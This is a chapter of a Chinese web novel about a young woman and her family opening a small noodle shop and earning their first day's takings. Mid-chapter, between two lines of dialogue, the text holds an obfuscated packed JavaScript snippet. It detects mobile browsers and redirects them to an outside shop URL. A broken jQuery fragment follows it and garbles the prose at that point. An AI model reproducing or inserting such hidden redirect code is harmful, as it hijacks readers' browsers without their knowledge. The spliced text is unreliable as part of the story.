苏意安只觉腿上一沉,她垂眸一看,只见贺兴晨整个人靠在她腿上,人已经困的打起了顿。
“怎么困成这样也不说。”苏意安把他扶正,见他揉着小眼整个人已经没了精神。
别瞧他如今七岁,可这些日子养的好,人也白胖许多,身子更是重了不少。
苏意安想抱起他都使不上什么力气。
好在贺允淮走过来,接过贺兴晨将人抱在了怀里。
“回家吧。”苏意安瞧了瞧贺凝文,趁着她还有精神,赶忙带着人往家走。
夜里起了风,苏意安手中的花灯被风吹的摇晃起来,烛芯熄灭的瞬间也将刚刚生起的那一丝意动吞灭在黑夜中。
回了家,贺兴晨已经沉沉睡去,贺允淮给他脱了衣裳用温水擦洗一番这才把他塞进被子里。
贺允淮无奈的看着怀中睡得正香之人,他伸手捏了捏他的小脸。
真是破坏氛围的一把好手,他想。
-
翌日,安贺小食肆正式开张。
没有爆竹声也没有挂红灯笼,就在一个平常的不能再平常的上午,这间小铺子开了门。
苏意安把菜单贴在门上,有字有图,路过的人不由多瞅两眼。
见上面只贴了两道菜,还未到晌午就有人带着好奇进了铺子。
平平无奇的食肆,进来后里面是六张有些发旧的木桌。
每张木桌上都有一个竹筒,里面放着竹筷。
与其他食肆相比没有什么亮色。
但人都进来了哪有直接出去的道理。
“小姑娘,你们这铺子只卖这两道菜?”那人寻了一个光线好的地方坐下,用手指了指门上贴着的纸。
贺凝文端着茶壶过来,给他沏上茶。
茶壶是昨日买的,至于喝茶用的不是茶盏而是竹筒。每一个竹筒上端都被贺颂元磨得没有一根倒刺,很是光滑。
“瞧您眼生,想来是没吃过我们家的汤面。”贺凝文如今一点也不怕生,见那人和气她便多说了几句,“我们家食肆主卖汤面,有素面有荤面,主打的是香肠荤面和烧肉荤面,至于这菜每日只两道,隔几日换一次菜品。”
卖的汤面种类不算多,全是街市上最火的那两种,菜品也不稀有,是个食肆就有的东西。
“那这价如何?”那人又问。
贺凝文忘了问这茬,她不好意思笑笑,赶紧跑去问苏意安。
毕竟他们租了铺子,总不能价还和摆摊时一样,那何时才能赚出这一年的赁金。
“都比街市贵一文。”苏意安拿出帕子擦了擦她额间的汗,笑道:“可是前面来人了。”
贺凝文重重点头,伸出一根手指。
“既然是第一位客人,那你同他说,若是点黄纸上随意一道菜,便送惊喜新品一份。”苏意安看着灶上的锅,见冒了水泡又赶紧往里面加了一勺凉水。
里面正煮着普通灌肠,只等煮熟后用油煎一遍,可惜家中没有铁板,要不煎起来更加方便,她想着今日关了铺门一定得去打铁的铺子问问。
贺凝文晓得价,又匆匆跑了回去。
见那食客已经喝完一杯茶水,她又赶紧给他满上。
“荤面素面都比外面街市贵上一文,不过您是今个第一个来的,若点一道黄纸上的菜,便送您一道新的吃食。”
价格倒是不贵,甚至比那人心中所想的还要便宜上一文。
“新吃食一份?”那人对这个倒是有兴致。
他看了看黄纸,最后选了一份东坡豆腐。顺便要了一碗香肠荤面。
倒不是觉得东坡豆腐便宜,实在是这大清早的吃荤腥多了容易腻一天。
贺凝文给他说了价,又赶紧跑去告诉苏意安。
铺子里一个灶台,后院一个灶台,实在方便的很。
贺允淮在铺子里的灶台煮面,这活简单他已经掌握面条的熟度,至于那香肠更是早早备好,他只需将面盛出来后把香肠铺在上面。
而苏意安则守在后院灶台,她将一大早买回来的豆腐切成长方块,用面粉和盐腌制好直接放进油锅。
她用的都是猪油,本身就带着荤香,再加上冬笋和她切成小丁的香肠了,只需再焖煮一会儿就好。
前面食客没等一会儿,荤面就被端了上来。
“您尝尝如何。”贺凝文说完便又去了后院。
许是小食谱第一日开张,她总是带着许多期待,希望每一位来的食客都能喜欢他们食肆的菜。
她来的正好,苏意安刚将东坡豆腐盛出来,她交代道:“让客人先尝了这两样你再来后面拿煎肠。”
煎肠利润大,苏意安虽卖了方子,但她还是想靠这个多赚些钱。
当时她就同那些掌柜说了,做法是这样,但是这肉的调味可是大不相同,每家有每家独门秘制的方子。
一个调味的东西倒是不难,所以这东西没人买,这不苏意安便自己给香肠换了换口味。
前面食客尝完两样,说了一句,“新铺子开张倒是实惠。”
“您等着,送的菜马上来。”见他两样都吃完,贺凝文赶紧去后院将煎肠端了上来。
“你们家竟然也有这个。”这煎肠他昨日刚在周掌柜家中吃过,确实好吃,与香肠不同,虽也油滋滋的,但外面那层皮干裂开更有嚼头。
他放下竹筷,拿起竹签插好的煎肠。
一口下去满嘴油香,可味道与昨日吃过的完全不同。
他细细咀嚼,一会儿舌尖就生出一股麻意,不用猜便知这是放了麻椒。
“这煎肠可卖?”那人吃了半根,越品越香,问道。
贺凝文诧异,她瞪大了眼说:“您竟知道它叫煎肠,想来您一定吃过。”
“昨日在旁的食肆尝过,不过与你家味道不同。”那人见贺凝文长得讨喜,笑着同她多说两句。
贺凝文端着盘子走来,里面是两根穿好的煎肠,刚从油锅中出来还热着。
“不知姑娘打算怎么卖。”那人问。
东西都端了上来自然不会白白送予他,想来是卖的,就是这价不知如何。
“十文一根。”苏意安要的不贵,这可是纯肉的,还用了猪油。
“这两根包起来吧。”那人拿出荷包,从里面翻找半天才凑出来四十九个铜板。
他平日出来买吃食都是给碎银,所以身上带的铜板不多,好在凑齐了。
苏意安用油纸给他包裹好,收下银钱,临走时多问了一句,“不知您觉得这菜和面如何。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495924|136443||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“都属上乘。”那人说。
好在是开了张,赚了今日的第一笔银钱,苏意安把铜板全都放进了陶罐中。
后面一直没再来人,一直快晌午这才陆陆续续上来人。
多是要荤面,再加一份东坡豆腐。
四个人一桌,四碗面一份菜,平均下来一人十来文,不算贵却还有个遮风的地方。
“掌柜的,我怎么瞧您这么眼熟。”结账时一书生站在柜前不断打量着苏意安。
目光并不下流,但确实有些冒犯。
苏意安回看他一眼,又往他们那一桌看去,拨着算盘淡淡道:“您是旁边书院的学子吧,瞧着气度不凡。”
那人突然被夸,面上一热,轻咳两声遮掩尴尬。
“我们曾在书院旁摆过摊,许是您瞧见过。”苏意安正好算完账,她指着桌案道:“四碗荤面一份东坡豆腐,一共是五十六文,咱们既然见过那就是有缘,这次算您五十五文。”
那书生取出五十五个铜板放在桌上,缓解着笑道:“果然是有缘。”
等那一桌人彻底走了,苏意安这才取来抹布,将刚刚那人碰过的地方擦了又擦。
生意不算火,但也不算差。
整整一日,总是有零零散散进来的食客,一直到天黑,旁边铺子关了门,她们等了一会儿见真的无人再来,这才也关了铺子。
贺兴晨今日去了私塾,那里都是同他年岁一样大的孩童,人多了倒是热闹,整整一日他便有了相熟的同伴。
“来让我们开启今日最快乐的时刻。”苏意安把陶罐抱到桌上,一个翻转便将里面的铜钱全都倒了出来。
四个人一文一文的数,每一百文用绳子串在一起打个结。
一共五百二十八个铜板,这还是第一日。
“竟这么多。”贺凝文觉得不可思议,她今日不觉得忙也不觉得累,食客零零散散的来,屋子中六张木桌就没有同一时刻坐满过。
就这样竟有五百个铜板。
苏意安把铜板装进另外一个陶罐中,那陶罐是放在后院屋子中的,用来攒钱。
“咱们一月一算。就不日日算赚了多少,这五百文看着不少但并不是真的利,咱们买的米面甚至柴火都是要钱的。”她伸出手指戳了下贺凝文的脑门。
贺凝文从美梦中回过神,啊了一声。
“这才第一日,等大家觉得好吃,一传十十传百,只会有更多的人来。”贺允淮一语成鉴。
后面的日子,食客逐渐多了起来。
不过大多食客不是为了汤面,而是奔着每隔几日不同菜肴来的。
再加上她卖价不算贵,菜又好吃,有时候来得早或者一顿超过百文的食客还能得到煎肠一根。
这可是实打实的诱惑,食客哪有不心动的。
苏意安她们一连忙了五日,后来抽空去了铁匠铺子一趟,同铁匠定下了一个圆形的铁板。
那铁匠虽不晓得她用这个做什么,但还是收下银钱给她做了出来。
就在众人沉浸在过几日用铁板来煎香肠赚钱的美梦中时,某日一大清早铺门前来了两个背着大大包袱的老者,他们就坐在铺子前的台阶上,堵着门不让食客进来。
他们也不说话就一个劲的哭喊。